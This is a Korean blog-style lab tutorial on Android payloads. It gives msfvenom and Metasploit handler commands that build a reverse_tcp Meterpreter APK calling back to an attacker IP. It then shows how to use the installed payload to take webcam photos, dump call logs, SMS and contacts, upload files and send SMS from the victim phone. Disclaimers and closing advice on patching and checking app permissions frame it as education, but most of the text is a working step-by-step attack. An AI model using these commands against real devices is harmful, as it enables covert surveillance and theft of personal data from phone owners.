Payload for Android Devices

실습에 필요한 장비 및 시스템

  1. LAN
  2. Kali Linux (가급적 meterpreter가 최신일 것)
  3. Android를 사용하는 기기

실습 전 참고 및 주의사항

  • 이 실습은 크래킹이 목적이 아닌 Android에 사용되는 Payload의 이해를 위한 작업임.
  • 사용하는 Android기기의 Android 버전, 보안 정책, 보안 패치 등에 따라 설치나 일부 기능이 작동하지 않을 수 있음.
  • 악의적인 목적으로 사용시 처벌받을 수 있음.
  • 실습 후 반드시 설치한 Payload 애플리케이션을 삭제할것.

해당 실습 서술에 사용된 환경
Kali Linux 2019.1

SONY Xperia XZ1C (G8441)
Android Version : 9
보안 패치 수준 : 2019-04-01

SAMSUNG GALAXY S4 LTE-A (SHV-E330S)
Android Version : 5.0.1
보안 패치 수준 : 2016-09-01

 

Msfconsole 실행 후 명령어로 payload 애플리케이션을 생성한다.

1
2
msfconsole
msfvenom –p android/meterpreter/reverse_tcp LHOST=공격자IP R > ‘생성위치’
cs

다음 명령어로 payload유형과 ip를 지정후 접속 대기상태로 전환한다.

1
2
3
4
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST ‘공격자IP’
exploit
cs

컴파일 한 payload 애플리케이션을 실습할 기기에 복사 후 설치를 진행한다.
이 과정에서 요구권한을 보면 사실상 애플리케이션이 가능한 거의 모든 권한을 요구하고 있는 것을 확인 할 수 있다.

설치 후 실행을 누르면 바로 payload가 작동하며 따로 화면은 열리지 않는다.

정상적으로 실행 되었다면 이전에 접속 대기시켜놓았던 터미널에서 접속이 확인되고
meterpreter 콘솔이 열릴 것이다.
할 수 있는 작업은 여러가지가 있으나 주로 많이 당하는 유형을 실습한다.

Webcam_snap 명령으로 해당 기기의 카메라를 작동시켜 촬영후 공격자의 시스템에 전송할 수 있다.



dump_calllog, dump_sms, dump_contacts로 각각 통화기록, 문자기록, 연락처를 수집하여 텍스트 파일로 저장할 수 있다.

디렉토리 관련 명령인 ls, cd, pwd등을 사용할 수 있으며 실행시 기본 디렉터리는 payload 애플리케이션 데이터 디렉터리다.

Upload 명령으로 파일을 업로드 할 수도 있다.

업로드 후 해당 기기에서 확인시 업로드가 되었음을 확인 할 수 있다.

반대로 다운로드도 가능하나 이 실습에는 서술하지 않는다.

send_sms 명령으로 sms를 발송할 수도 있다.

1
send_sms –d ‘수신자 번호’ –t ‘메시지내용’
cs

위과 같이 payload가 심어진 기기로부터 문자가 수신되었다.
 

지금까지 android용 payload를 이용해 일상생활에서 흔히 당할 수 있는 경우들을 실습해보았다.
이러한 공격을 막기 위해서는 항상 기기의 펌웨어를 최신상태로 유지하고 보안정책을 최신상태로 유지 하는 것이 큰 도움이 된다.
또한, 앱을 설치전 이 앱이 사용되거나 설명되는 목적과 알맞은 권한을 요구하고 있는지 반드시 검증하고 출처가 불분명한 앱이나 apk파일을 함부로 이용하지 않않는 것이 이러한 공격으로부터 예방할 수 있다.

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다